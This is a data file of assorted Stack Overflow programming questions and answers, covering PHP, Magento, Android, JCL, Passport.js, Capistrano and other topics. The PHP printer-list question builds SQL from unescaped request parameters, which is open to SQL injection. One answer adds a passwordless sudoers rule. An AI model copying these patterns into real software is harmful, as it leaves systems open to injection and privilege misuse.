15616949	0	 <blockquote> <p>I am unable to find a convincing answer as to why the information from the -g option is insufficient for de-compilation, but sufficient for debugging?</p> </blockquote> <p>The debugging information basically contains only mapping between the addresses in the generated code and the source files line numbers. The debugger does not need to decompile code - it just shows you the original sources. If the source files are missing, debugger won't magically show them.</p> <p>That said, presence of debugging info does make decompilation easier. If the debug info includes the layout of the used types and function prototypes, the decompiler can use it and provide a much more precise decompilation. In many cases, however, it will still likely be different from the original source.</p> <p>For example, here's a function decompiled with the Hex-Rays decompiler without using the debug info:</p> <pre><code>int __stdcall sub_4050A0(int a1) { int result; // eax@1 result = a1; if ( *(_BYTE *)(a1 + 12) ) { result = sub_404600(*(_DWORD *)a1); *(_BYTE *)(a1 + 12) = 0; } return result; } </code></pre> <p>Since it does not know the type of <code>a1</code>, the accesses to its fields are represented as additions and casts.</p> <p>And here's the same function after the symbol file has been loaded:</p> <pre><code>void __thiscall mytree::write_page(mytree *this, PAGE *src) { if ( src-&gt;isChanged ) { cache::set_changed(this-&gt;cache, src-&gt;baseAddr); src-&gt;isChanged = 0; } } </code></pre> <p>You can see that it's been improved quite a lot.</p> <p>As for why decompiling bytecode is usually easier, in addition to NPE's answer check also <a href="http://stackoverflow.com/a/5160714/422797">this</a>.</p>
25186754	0	Magento Fatal error: Class 'Mage_Order_Helper_Data' not found <p>I must be over-thinking this issue, but I can't seem to resolve it. I need to overwrite the <strong>sendNewOrderEmail</strong> function of <strong>Mage_Sales_Model_Order</strong>. When I do this I lose my transactional email templates in the drop-down in the admin interface.</p> <p>Error:</p> <pre><code>Fatal error: Class 'Mage_Order_Helper_Data' not found </code></pre> <p>/app/code/local/Mine/Sales/etc/config.xml</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;config&gt; &lt;global&gt; &lt;models&gt; &lt;sales&gt; &lt;rewrite&gt; &lt;order&gt;Mine_Sales_Model_Order&lt;/order&gt; &lt;/rewrite&gt; &lt;/sales&gt; &lt;/models&gt; &lt;helpers&gt; &lt;sales&gt; &lt;class&gt;Mine_Sales_Helper&lt;/class&gt; &lt;/sales&gt; &lt;/helpers&gt; &lt;template&gt; &lt;email&gt; &lt;umicrosite_order_alert module="order"&gt; &lt;label&gt;Vendor Order Alert&lt;/label&gt; &lt;file&gt;umicrosite_order_alert.html&lt;/file&gt; &lt;type&gt;html&lt;/type&gt; &lt;/umicrosite_order_alert&gt; &lt;/email&gt; &lt;/template&gt; &lt;/global&gt; &lt;/config&gt; </code></pre> <p>/app/code/local/Mine/Model/Sales/Order.php</p> <pre><code>&lt;?php class Mine_Sales_Model_Order extends Mage_Sales_Model_Order { /** * Send email with order data * * @return Mage_Sales_Model_Order */ public function sendNewOrderEmail() { $storeId = $this-&gt;getStore()-&gt;getId(); $emailTemplate = Mage::getModel('core/email_template')-&gt;loadDefault('umicrosite_order_alert'); $emailTemplate-&gt;setSender(Mage::getStoreConfig(self::XML_PATH_EMAIL_IDENTITY, $storeId)); $emailTemplate-&gt;setSenderEmail(Mage::getStoreConfig('trans_email/ident_sales/email')); $emailTemplate-&gt;setSenderName(Mage::getStoreConfig('trans_email/ident_sales/name')); $emailTemplate-&gt;setType('html'); $emailTemplate-&gt;setTemplateSubject('New Order from my store'); $emails = array(); foreach ($this-&gt;getItemsCollection() as $item) { $vendor = Mage::helper('udropship')-&gt;getVendor($item-&gt;getProduct()); $email = $vendor-&gt;getEmail(); if (!in_array($email,$emails)) { $emails[] = $email; $emailTemplateVariables = array(); $emailTemplateVariables = array('vendor_name'=&gt;$vendor-&gt;getVendorName()); $emailTemplate-&gt;send($email, $vendor-&gt;getVendorName(), $emailTemplateVariables); } } parent::sendNewOrderEmail(); } } </code></pre> <p>/app/code/local/Mine/Sales/Helper/Data.php</p> <pre><code>&lt;?php class Mine_Sales_Helper_Data extends Mage_Sales_Helper_Data { } </code></pre> <p>If I change my Data.php to:</p> <pre><code>class Mage_Order_Helper_Data extends Mage_Core_Helper_Abstract </code></pre> <p>It causes Class 'Mine_Sales_Helper_Data' not found.</p> <p>What am I doing wrong???</p>
4496251	0	What's a good way to integrate FB and Twitter into my commenting system (PHP) <p>There are so many options out there for integration. </p> <p>At the moment I have comments that are posted on my articles, where a user types in their name and the comment. This is then sent to a moderation queue and displayed when approved. </p> <p>I want to acheive this:</p> <ul> <li>Comment with facebook login (ie facebook account listed as the name w/ avatar)</li> <li>Comment with twitter login (ie twitter account name listed as the name w/ avatar) </li> <li>Push comment from my website to twitter and to facebook</li> </ul> <p>I could go down a few paths as far as I know:</p> <ul> <li>Integrate with XFBML, which I don't like because I find it annoying to setup and messy.</li> <li>Integrate facebook comments system, although this can't push to twitter, or allow me to moderate comments from my backend (as far as I can tell i'd have to login under the facebook login for the dev account to moderate the comment)</li> <li>Find a php class that does open auth and integrate with both face book and twitter at once</li> <li>find a pre-created php class </li> </ul> <p>Anyone have a solution that will bias:</p> <p>a. easy to integrate b. lightweight c. is free</p> <p>Thanks for your suggestions in advance.</p>
362296	0	 <p>Edited after reading Frans Bouma's answer, since my answer has been accepted and therefore moved to the top. Thanks, Frans.</p> <p>GUIDs do make a good unique value, however due to their complex nature they're not really human-readable, which can make support difficult. If you're going to use GUIDs you might want to consider doing some performance analysis on bulk data operations before you make your choice. Take into account that if your primary key is "clustered" then GUIDs are not appropriate.</p> <p>This is because a clustered index causes the rows to be physically re-ordered in the table on inserts/updates. Since GUIDs are random, every insert would require actual rows in the table to be moved to make way for the new row.</p> <p>Personally I like to have two "keys" on my data:</p> <p><strong>1) Primary key<br></strong> Unique, numeric values with a clustered primary key. This is my system's <em>internal</em> ID for each row, and is used to uniquely identify a row and in foreign keys.</p> <p>Identity can cause trouble if you're using database replication (SQL Server will add a "rowguid" column automatically for merge-replicated tables) because the identity seed is maintained per server instance, and you'd get duplicates.</p> <p><strong>2) External Key/External ID/Business ID<br></strong> Often it is also preferable to have the additional concept of an "external ID". This is often a character field with a unique constraint (possibly including another column e.g. customer identifier).</p> <p>This would be the value used by external interfaces and would be exposed to customers (who do not recognise your internal values). This "business ID" allows customers to refer to your data using values that mean something to them.</p>
20751202	0	Nested foreach statements... how to break out of child and continue parent if a match is found <p>I have an application that is passing a list of system printers to a PHP application. I am trying to set it up to ignore the printers that are basically just "software" printers. As you can see from the code below(which is by no means pretty). That I have an outer(parent) foreach that is looping through the printer list that is provided in a string that is delimited by a "pipe" symbol. Inside of that I have a second(child) foreach, that loops through a list of words that are common in the software printers names (i.e.. Adobe PDF would match the word "PDF")</p> <p>So my question is this, the parent loop works fine, the printers are inserted in the database from the string, however none of my attempts at filtering out the ones that match the keywords have been excluded. So How would you suggest going about breaking out of the "child" foreach to tell the parent to skip that loop?</p> <pre><code>&lt;?php // Set all QUEUE Printers to Unavailable, so we can reset as active only those that are present $SQL = "UPDATE `queues_printers` SET `status`='0' WHERE (`queue_id`='".$_GET['queue']."')"; $result = $mysqli-&gt;query($SQL); // Process Printers $ignore_names = array("PDF","OneNote","Fax","Microsoft XPS Document Writer","RemotePrinter"); $ignoreit=false; $today = date("Y-m-d"); // Get list from $_GET[printers] $printers = explode("|",base64_decode($_GET['printers'])); // Add/Update them foreach ($printers as $printer){ // Check if this printer is to be ignored(i.e.. pdf printers, fax software, and other software printers are not useful) foreach ($ignore_names as $ignored) { if($ignoreit === false){ if (strpos($printer,$ignored) === true) { $ignoreit = true; break; } } } if($ignoreit === true){ $ignoreit = false; continue; } // See if this is an existing printer and update it to available $SQL = "SELECT DISTINCT id FROM queues_printers WHERE queue_id = '".$_GET['queue']."' AND name = '".$printer."'"; $result = $mysqli-&gt;query($SQL); $row_cnt = $result-&gt;num_rows; if ($row_cnt &gt; '0'){ $printer_detail = $result-&gt;fetch_array(MYSQLI_ASSOC); $UpdateSQL = "UPDATE `queues_printers` SET `status`='1', `last_seen`='".$today."' WHERE (`id`='".$printer_detail["id"]."')"; $result2 = $mysqli-&gt;query($UpdateSQL); $result-&gt;close(); } else{ // Otherwise add it $InsertSQL = "INSERT INTO `queues_printers` (`queue_id`, `name`, `status`, `last_seen`) VALUES ('".$_GET['queue']."', '".$printer."', '1', '".$today."')"; $result2 = $mysqli-&gt;query($InsertSQL); } } $mysqli-&gt;close(); ?&gt; </code></pre>
21159987	0	 <p>Your are starting activity <code>B</code> for result from activity <code>A</code></p> <pre><code>public void onClick(View v) { Intent intent = new Intent(A.this, B.class); startActivityForResult(intent,1); setResult(RESULT_OK); finish(); } </code></pre> <p>So activity <code>A</code> is expecting result to delivered by activity <code>B</code> when activity <code>B</code> finishes.</p> <p>Now, to get around this problem, start activity <code>B</code> in <code>onActivityResult()</code> method of the activity from which you started activity <code>A</code>.</p> <pre><code>// modified onClick method public void onClick(View v) { // simply set result to OK and finish activity A setResult(RESULT_OK); finish(); } </code></pre> <p>In the activity that starts activity <code>A</code>, define two constants or you can have a separate Java class to define constants and refer them in this class.</p> <pre><code>public static final int REQUEST_CODE_FOR_A = 100; public static final int REQUEST_CODE_FOR_B = 101; </code></pre> <p>Override the <code>onActivityResult()</code> method in the activity that starts activity <code>A</code> and start activity <code>B</code> as follows</p> <pre><code>@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (resultCode == RESULT_OK) { if(requestCode == REQUEST_CODE_FOR_A) { // start activity B when activity returns RESULT_OK Intent intent = new Intent(this, B.class); startActivityForResult(intent, REQUEST_CODE_FOR_B); } else if (requestCode == REQUEST_CODE_FOR_B) { // handle the result from Activity B } } } </code></pre> <p>Hope this helps.</p>
32354663	0	 <p>You can get the notes from Feed end point.</p> <p>Get the feed.</p> <p><a href="https://graph.facebook.com/v2.0/YOURPAGEID/feed?access_token=TOKEN&amp;limit=250" rel="nofollow">https://graph.facebook.com/v2.0/YOURPAGEID/feed?access_token=TOKEN&amp;limit=250</a></p> <p>Find your note on your feed and use its ID.</p> <p><a href="https://graph.facebook.com/v2.0/FEED_ID_(NOTE_ID)/?access_token=TOKEN&amp;limit=250&amp;fields=attachments" rel="nofollow">https://graph.facebook.com/v2.0/FEED_ID_(NOTE_ID)/?access_token=TOKEN&amp;limit=250&amp;fields=attachments</a></p>
39191502	0	php links added to code <p>This code is from view-source in Chrome:</p> <pre><code>&lt;div class='pedSpouse'&gt;Relation med &lt;a class='familylink' file='157' pers='24351162'&gt;&lt;strong&gt;KARL EMRIK Jakobsson&lt;/strong&gt; f. 1897&lt;/div&gt;&lt;/div&gt;&lt;div&gt; &lt;img id='pedMore' src='cmn/prg/pics/hpil.png'&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; </code></pre> <p>In inspect the img is embedded within a copy of the previous a tag:</p> <pre><code>&lt;div&gt;&lt;a class='familylink' file='157' pers='24351162'&gt;&lt;img id='pedMore' src='cmn/prg/pics/hpil.png'&gt;&lt;/div&gt; </code></pre> <p>The same thing occurs in two other places. With other data the code is as expected.</p> <p>Same thing happens in Edge. I have no idea where the extra code comes from.</p>
20955706	0	JCL ICEMAN how many sort files are needed? <p>I am working with JCL and there is what is called an <strong><em>ICEMAN</em></strong> which is which is invoked when the IBM SORT utility DFSORT is used. DFSORT can be used to SORT, COPY or MERGE files, amongst other things. In the example below there the output is from a SORT. My question is how many sortwork (//<strong>SORTWK01</strong> DD UNIT=SYSDA,SPACE=(CYL,30)) files are needed. They seem to me to always vary in number when I see them in JCL. Is there a formula for this to figure the size of how many SORTWKnns are needed? </p> <p>JCL Code:</p> <pre><code>//STEP5 EXEC PGM=ICEMAN,COND=(4,LT) //SYSOUT DD SYSOUT=1 //SYSIN DD DSN=CDP.PARMLIB(cardnumberhere),DISP=SHR //SORTIN DD DSN=filename,DISP=SHR //SORTOUT DD DSN=filename,DISP=(OLD,KEEP), // DCB=(LRECL=5000,RECFM=FB), // SPACE=(CYL,30) //SORTWK01 DD UNIT=SYSDA,SPACE=(CYL,30) //SORTWK02 DD UNIT=SYSDA,SPACE=(CYL,30) //SORTWK03 DD UNIT=SYSDA,SPACE=(CYL,30) //SORTWK04 DD UNIT=SYSDA,SPACE=(CYL,30) </code></pre>
35941072	0	 <p>If you want to save for example usersettings you could create <a href="https://msdn.microsoft.com/en-us/library/aa730869(v=vs.80).aspx" rel="nofollow">Settings </a>in your Properties.</p> <p>You can get them like this:</p> <pre><code>string anyProperty = WindowsFormsApplication1.Properties.Settings.Default.TestSetting; </code></pre> <p>You save them using the <code>Save</code>-method:</p> <pre><code>WindowsFormsApplication1.Properties.Settings.Default.TestSetting = "Hello World"; WindowsFormsApplication1.Properties.Settings.Default.Save(); </code></pre> <p>You can call the <code>Save</code>-method after you have clicked the close-button.</p> <p>For saving several string properties you could create a property of the type <code>System.Collections.Specialized.StringCollection</code>, so that you just create one property and not 21.</p>
36693052	0	Migrate large WordPress site <p>I need to export the current WordPress website data to my local machine. I know how to do this but i have a small problem and that's about the large amount of images in the <code>wp-content</code> folder. I only want to have the original images so i can generate the new sizes myself. Is there a good way to export and import the <code>wp-conten</code> files without all the extra image sizes? </p> <p>At this point when i do a export from the current website is doesn't include all the images when i import these and i get a lot of broken images.</p>
40565441	0	 <p>You do not use arctan or <code>atan</code> to find an angle (except where explicitly demanded), but the argument function <code>arg(x+i*y)</code> usually found under <code>atan2(y,x)</code>.</p> <p>The angle around the origin between two points <code>a</code> and <code>b</code> can be found as </p> <pre><code>arg( (b.x+i*b.y)/(a.x+i*a.y) ) </code></pre> <p>or in real components</p> <pre><code>atan2(a.x*b.y-a.y*b.x, a.x*b.x + a.y*b.y) </code></pre>
38000800	0	NodeJS, Passport & Passport-Local <p>So I'm running into an issue authenticating using a local strategy. If I pass invalid credentials or anything unsuccessful, I get the appropriate error. However, if they authentication is successful, then I'm presented with a 404 error.</p> <p>I've dug around, and the best idea I ran across was dropping the session storage (which is where it seems to be happening, while serializing the user). Anyone encounter an issue like this?</p> <p>Here's some of the code, if you need any other sections of code, let me know I'll gladly provide it.</p> <p>My Passport configuration:</p> <pre><code>var passport = require('passport'), User = require('mongoose').model('User'); module.exports = function () { passport.serializeUser(function (user, done) { done(null, user.id); }); passport.deserializeUser(function (id, done) { User.findOne({ _id: id }, '-password -salt -__v', function (err, user) { done(err, user); }); }); require('./strategies/local')(); }; </code></pre> <p>My Local Strategy configuration:</p> <pre><code>var passport = require('passport'), LocalStrategy = require('passport-local').Strategy, User = require('mongoose').model('User'); module.exports = function () { passport.use(new LocalStrategy({ usernameField: 'email' }, function (email, password, done) { User.findOne({email: email}, function (err, user) { if (err) { return done(err); } if(!user || !user.active || !user.authenticate(password)) { return done(null, false, { message: 'Authentication Failed'}); } return done(null, user); }); })); }; </code></pre> <p>All other methods work, I can query the DB to find the user, I have stepped through matching the hashed password with the provided password, it all seems to happen fine and I get a user at the end of the LocalStrategy (I make it to the final <code>done(null, user)</code>. In the <code>serializeUser()</code> <code>done(null, user.id)</code> something happens. I've tried stepping through it, but what I end up getting into seems fairly obfuscated (or I'm too dumb to understand it) so I can't tell what's actually happening. </p>
8821665	0	 <p>Try this for your jsfiddle:</p> <pre><code>function toggleMe(me) { var alreadyOpen = me.is(':visible'); jQuery('div[class^="content-"]').hide('fast'); if (!alreadyOpen) { me.show('slow'); } } jQuery('.expand-one').click(function() { toggleMe(jQuery('.content-one')); var img = $(this).find('img'), src = img.attr("src"), alt = img.data("altsrc"); img.attr("src", alt).data("altsrc", src); }); /// SECOND SESSION: ///////////////////////////////////////////////////////////////////////////////////// jQuery('.expand-two').click(function() { toggleMe(jQuery('.content-two')); var img = $(this).find('img'), src = img.attr("src"), alt = img.data("altsrc"); img.attr("src", alt).data("altsrc", src); }); </code></pre> <p>Hope this helps,</p> <p>Pete</p>
41058819	0	Photography or Continue Engineering <p>I'am a student of mechanical engineering,2 year in diploma.After 2 year I realize I'am not interested in engineering I love to capture nature photo I want to became photographer should I leave diploma and start photography course</p>
13726426	0	Web API Self hosting from a test assembly <p>I'm currently evaluating WebAPI and NancyFx for a new project about to start. I've managed to get Nancy to self host from a test assembly (by itself it uses asp.net hosting). </p> <p>Is there any way to do the same with Web API? I would like to keep the web api project hosted on IIS, but i would like to spin it up from my test assembly, so i can run tests against it. </p> <p>I have found some blogposts on how to use Autofac to scan controllers from another assembly (seems a little backwards only to get hosting from another assembly to work, but if it can be done, i guess that would be an option), but i would like to keep using Structuremap ioc for this project.</p>
5475103	0	 <p>You're passing a list of entities to your <code>render_template</code> function instead of passing a dict. Try something like <code>utils.render_template(self, 'persons.html', {'persons': persons})</code></p>
35847078	0	 <p>Reflection is rarely the correct answer to anything. Consider having your enum classes implement a common interface, like <a href="http://docs.oracle.com/javase/8/docs/api/java/nio/file/StandardCopyOption.html" rel="nofollow">StandardCopyOption</a> and <a href="http://docs.oracle.com/javase/8/docs/api/java/time/Month.html" rel="nofollow">Month</a> do.</p> <p>If you can't modify the enum classes, and if you're using Java 8, you can pass the getter method as an argument:</p> <pre><code>public &lt;E extends Enum&lt;E&gt;&gt; E findMatch(Class&lt;E&gt; enumClass, Function&lt;E, String&gt; nameGetter, Predicate&lt;String&gt; matcher) { for (E value : EnumSet.allOf(enumClass)) { String name = nameGetter.apply(value); if (matcher.test(name)) { return value; } } return null; } </code></pre> <p>Example usage:</p> <pre><code>public static enum Season { SPRING("Spr"), SUMMER("Sum"), FALL("Fal"), WINTER("Win"); private final String abbreviation; private Season(String abbrev) { this.abbreviation = abbrev; } public getAbbreviation() { return abbreviation; } } public void doStuff() { // ... String abbrToFind = "Sum"; Season match = findMatch(Season.class, Season::getAbbreviation, Predicate.isEqual(abbrToFind)); } </code></pre> <p>If you're using a version older than Java 8, you can still do the same thing, but you'll need to define and implement the interfaces yourself:</p> <pre><code>public interface Function&lt;A, B&gt; { B apply(A input); } public interface Predicate&lt;T&gt; { boolean test(T value); } public void doStuff() { // ... final String abbrToFind = "Sum"; Season match = findMatch(Season.class, new Function&lt;Season, String&gt;() { @Override public String apply(Season season) { return season.getAbbreviation(), } }, new Predicate&lt;String&gt;() { @Override public boolean test(String name) { return Objects.equals(name, abbrToFind); } }); } </code></pre>
35731732	0	 <p>Webjobs look for a Main function signature as an entry point by default. It's like your regular Console Aplication. If you put any <code>Console.Write</code> lines, it will output too.</p> <pre><code>public class Program { public static void Main(string[] args) { //your code... } } </code></pre> <p>Go to your <strong>WebApp blade</strong> > <strong>All Settings</strong> and scroll down, you should have a <strong>Webjobs</strong> item with your Webjob loaded, now double click on the link on the LOGS column:</p> <p><a href="https://i.stack.imgur.com/4WHaX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4WHaX.png" alt="enter image description here"></a></p> <p>Now, you should be able to Toggle Output and see the Console output of your webjob.</p> <p><a href="https://i.stack.imgur.com/XJSfn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XJSfn.png" alt="enter image description here"></a></p> <p>If there are any errors during execution, they should be there.</p> <p>If you <strong>can't get see the LOGS link</strong>, try opening the Tools section in the WebApp (top toolbar), scrolling to <strong>Kudu</strong> and Opening it.</p> <p><a href="https://i.stack.imgur.com/lgEDv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lgEDv.png" alt="enter image description here"></a></p> <p>Then go to the Tools > <strong>Webjobs Dashboard</strong>. Your job should be listed there.</p> <p><a href="https://i.stack.imgur.com/Apgm2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Apgm2.png" alt="enter image description here"></a></p> <p><strong>EDIT</strong></p> <p>After seeing the error reported, the problem is that the Azure environment is different than your computer. Google might be blocking the usage based on the access from an unknown origin. Check your <a href="https://www.google.com/settings/security/lesssecureapps" rel="nofollow noreferrer">Less secure settings</a> and try it with Off. If that fails, enable login in <a href="https://g.co/allowaccess" rel="nofollow noreferrer">from a different timezone</a>. Though I'd advice to use another services to send mail, like <a href="https://www.mailgun.com/" rel="nofollow noreferrer">MailGun</a> or <a href="https://sendgrid.com/windowsazure.html" rel="nofollow noreferrer">SendGrid</a>, even <a href="https://aws.amazon.com/ses/" rel="nofollow noreferrer">Amazon SES</a>.</p>
16407957	0	 <p>In addition to what cygin points out (parameters seem reversed), <code>revStr</code> calls itself with a <em>smaller</em> value for <code>e</code>. But your description sounds like <code>e</code> is supposed to be less than or equal <code>k</code>. So then wouldn't you want to pass a <em>larger</em> value for <code>e</code>? Otherwise I don't see why you would ever reach <code>k</code>.</p> <p>As a side comment, I wonder why a substring function is named <code>revStr</code>.</p>
6413593	0	 <p>None of those are even remotely good ideas, although the first one is passable with some modifications. <code>reinterpret_cast</code> doesn't work the way you think it does, and I'm not sure what exactly you're trying to achieve with placement new. Store a smart pointer of some sort in the first one to avoid the obvious issues with lifetime, and the first option isn't bad. </p> <p>There is a fourth option: just store the data in a struct, and provide whatever encapsulated access you desire.</p> <pre><code>struct data { data(int i_) : i(i_) { } int i; }; struct s { s(int i_) : i(i_) { } data i; }; </code></pre> <hr> <p>Rereading your question, it appears as though maybe your intent is for this struct to be an internal detail of some larger object. In that case, the lifetime issues with the first solution are likely taken care of, so storing a raw pointer is less of a bad idea. Absent additional details, though, I still recommend the fourth option.</p>
14474378	0	 <p>It is bad practice to use null as id for your question I would use something like this</p> <pre><code>select * from post p1 where not exists (select 1 from comment c1 where c1.post_id = p1.id) union select * from post p2 where exists (select 1 from comment c1 where c1.post_id = p1.id and c2.user_id &lt;&gt; 124) </code></pre>
5837033	0	 <p>Your logic seams correct to me. But I wonder about a possible problem with registering for a <code>UIKeyboardWillHideNotification</code> every time your <code>viewWillAppear</code>. Try to register only once in <code>viewDidLoad</code> and unsubscribe in <code>dealloc</code>. I am thinking that maybe when you register again after you dismiss the modal view the Notification Center sends you an old notification. If you register once for a notification you will not get it more then it is posted.</p>
26239435	0	 <p>You need to use System.out.format. </p> <p>You can control the lengths of fields like this:</p> <pre><code>System.out.format("%32s%10d%16s", string1, int1, string2); </code></pre> <p>This pads string1, int1, and string2 to 32, 10, and 16 characters, respectively.</p> <p>See the Javadocs for java.util.Formatter for more information on the syntax (System.out.format uses a Formatter internally).</p> <p>Also, FYI, try overriding the ToString() method for the Player class and defining how you want this class to represent itself. This saves from having to have duplicate code and you can just say: </p> <p><code>p.ToString()</code></p> <p>and it will print out what it is (ID, name, club, goals).</p>
12532514	0	 <p>I'm thinking that since <code>window.location</code> is a host object, it does not obey "native" JS object semantics, and that's why you're having problems doing the same thing for <code>location</code> as you did with <code>foo</code>.</p> <p><a href="http://jibbering.com/faq/#nativeObject" rel="nofollow">http://jibbering.com/faq/#nativeObject</a></p>
34280807	0	My executable ruby gems don't work as expected <p>I followed this tutorial <a href="http://guides.rubygems.org/make-your-own-gem" rel="nofollow">http://guides.rubygems.org/make-your-own-gem</a> to figure out how to create ruby gems but I'm having trouble figuring out how to create an executable. </p> <p>I originally thought I was making a mistake in my own code but the actual gem created with the tutorial itself doesn't seem to work as I expected. So I'll base my question around the actual gem from the tutorial itself.</p> <p>If you bundle the exact gem from the tutorial (the gem is named <code>hola</code>) into a rails application and try to use the executable command <code>hola</code>, all you get are error messages:</p> <pre><code>$ rails hola spanish # =&gt; Error: Command 'hola' not recognized $ ruby hola spanish # =&gt; ruby: No such file or directory -- hola (LoadError) $ hola spanish # =&gt; -bash: hola: command not found </code></pre> <p>Even if I attempt to execute the command this way it doesn't seem to work:</p> <pre><code>$ ruby -Ilib ./bin/hola spanish # =&gt; ruby: No such file or directory -- ./bin/hola (LoadError) </code></pre> <p>The only time this seems to execute anything is when I'm inside the actual gem directory recreated by hand in the tutorial and type this:</p> <pre><code>$ ruby -Ilib ./bin/hola spanish # =&gt; hola mundo </code></pre> <p>But this is useless because the whole point of creating an executable is to be able to execute it within an actual project not the gem directory (ie: someone downloading your gem and being able to use it with a single executable keyword, like <code>rake routes</code> which then does something).</p> <p>Can I bundle the <code>hola</code> gem from this official rubygems.org tutorial and use it as an executable in the way I was expecting to execute it, like this:</p> <pre><code>$ hola spanish # =&gt; hola mundo </code></pre> <p>If this is possible, how is it done?</p>
35533513	0	Highlight Google map marker when Image comes in Viewport of DIV scroll <p>Below is Image listing done using ng-repeat.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="data" ng-repeat = "image in images"&gt; &lt;div class="category"&gt; &lt;a href="#" class="thumbnail"&gt; &lt;img ng-src="images/{{happyning.image}}" /&gt; &lt;/a&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>and I have Google map loaded with all the Marks based on these entries. Now what I want is to highlight the specific Google Map marker when an Image is fully visible in screen/viewport (I have laded these image listing in DIV).</p> <p>Thanks- Abhishek</p>
37174975	0	 <p>I had a similar problem and I solved it so:</p> <p>When adding Refresh Controller on View Controller it is necessary to write the following code:</p> <pre><code>dispatch_async(dispatch_get_main_queue()) { self.refreshControl.beginRefreshing() self.refreshControl.endRefreshing() } </code></pre>
23170845	0	"Copy to ouput directory" doesn't work like I thought <p>This question is probably asked thousand times, but no answer helped me. I added a XML file to my project and wanted it to be copied into the output directory when I debug/build the project. So I set "Copy to ouput directory" to "Copy always", but Visual Studio/Compiler doesn't copy the file into the output directory. <strong>How can I make Visual Studio copy the file into the output directory when I debug/build?</strong></p> <p><img src="https://i.stack.imgur.com/oDYS0.png" alt="Screenshot of my project"></p>
16978547	0	 <p>There are a few of things I can see to improve this</p> <ul> <li>Before looping, check if the substring is 0 length, if so return false (dont check every iteration)</li> <li>Remove <strong>ALL</strong> <code>== true</code>'s its basically comparing a boolean against a boolean</li> <li>Use <a href="http://msdn.microsoft.com/en-us/library/k8b1470s.aspx" rel="nofollow">IndexOf</a> to find the first character of your substring (return false if result of indexOf is -1) and then use this index as the starting value for i</li> <li><p>I believe instead of the <code>j</code> variable you can just increment <code>i</code> but I've not tested this</p> <pre><code>if (FoundMatch) return true; </code></pre></li> </ul>
34894570	0	Pure virtual function which must set variable <p>recently i have read some about pure virtual function concept in c++ and i wonder, given following code:</p> <pre><code>class First { public: virtual void init() = 0; protected: bool initialized; }; class Second : public First { public: void init() { ((*someting*) ? (initialized=true) : (initialized=false)); }; </code></pre> <p>if creator of <code>First</code> class wanted to ensure the implementation of <code>init()</code> MUST set <code>initialized</code> variable either true or false how can they do that? Is there an option to enforce implementation of pure virtual function to set any variable inherited from base class?</p>
30109348	0	 <p>If you are using Chrome, you should use the "Timeline" to record the memory usage. Launch the timeline, then wait for the page to refresh a few times, and then stop the timeline and have a look at the results. If you see the line keeping increasing, that means your objects in memory (or the DOM nodes) are never released and garbage collected.</p> <p>I have never used <code>document.open/write</code> myself so I do not know if that can cause issues with garbage collection, but I suspect it does.</p> <p>If your detect clearly a memory lak using the Timeline, then open the "Profiles" tab and take a Heat snapshot before and after a page reload, then use "comparison" to see what have changed and how much bigger your memory impact is. If for instance your old compiled code (or obejct references) is still there, plus the new one, then it explains your leak.</p>
13300071	0	 <p>You should not place the outlet in the Application Delegate. Your app should contain a root view controller (created automatically if you're using a single view application template), which should handle anything related to the application's initial view. Once you have one, open the storyboard in the editor. Open an assistant editor using the buttons along the top, and use the drop-down menu at the top of the assistant editor to open up the header file of the controller. Select the scroll view, and control-drag from it into the controller's interface. Xcode will prompt you to make an outlet, allowing you to change the name. Let's use <code>scrollView</code> for the name. Select <code>weak</code> for the memory management, since it's already being retained by its superview. Xcode should automatically synthesize accessors, and now you can access the property using <code>self.scrollView</code> from within the controller's instance methods. Alternatively, you can select the scroll view and set its tag in the attributes inspector to any unique number, like 4. Then, you can use <code>[self.view viewWithTag:4]</code> to get a reference to it.</p>
3390711	0	Start new activity from onClickListener <p>I have an EditText area that is not showing due to the keyboard covering it when the focus is on the EditText area. What I want to do is use a button to call an activity that will display a editable text area that overlays the main display and returns the value to the main activity which stores it in a separate class variable. </p> <p>I added the activity to the main manifest xml. </p> <p>I added an onClickListener to a button. </p> <p>Here is some code:</p> <p>TextEntryActivity class:</p> <pre><code>public class TextEntryActivity extends Activity{ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.text_entry); EditText edit = (EditText)findViewById(R.id.editable); getWindow().setFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND, WindowManager.LayoutParams.FLAG_BLUR_BEHIND); } </code></pre> <p>}</p> <p>I have a separate XML file for the layout of the blurr.</p> <p>Originally I had an onClickListerner for an onSave button that stored all the info:</p> <pre><code> private View.OnClickListener onSave = new View.OnClickListener() { @Override public void onClick(View v) { Log.d(DEB_TAG, "INSIDE ONCLICK"); mCurrent = new Restaurant(); mCurrent.setName(mName.getText().toString()); mCurrent.setAddr(mAddr.getText().toString()); mCurrent.setDate(mDateDisplay.getText().toString()); mCurrent.setNotes(mNotes.getText().toString()); switch (mTypes.getCheckedRadioButtonId()){ case R.id.fast_food: mCurrent.setType("fast_food"); break;......... </code></pre> <p>The new activity is to provide a different view to add a "note"</p> <p>Does this make sense? I am fairly new to this and know what I want to do in my head, but describing it can be a challenge.</p>
17871222	0	 <p>I assume you are running Ubuntu as production server. On your server you need to edit your <code>sudoers</code> file:</p> <p>First type <code>select-editor</code> and select nano (or another editor you feel confortable with)</p> <p>Then at the bottom of the file, before the <code>include</code> line, add this line: </p> <pre><code>%deployer ALL=(ALL)NOPASSWD:/path/to/your/unicorn_rails </code></pre> <p>You need to replace <code>deployer</code> by the user name you are using with capistrano, and to replace <code>/path/to/your/unicorn_rails</code> with its correct path. This will allow your deployer user to "sudo unicorn_rails" without being prompt for a password.</p> <p>Finally edit your <code>unicorn:start</code> capistrano task, and add <code>rvmsudo</code> ahead of your command line that start unicorn:</p> <pre><code>rvmsudo unicorn_rails -c config/unicorn/production.rb -D --env production </code></pre> <p>If it does not work you can try this instead</p> <pre><code>bundle exec sudo unicorn_rails -c config/unicorn/production.rb -D --env production </code></pre>
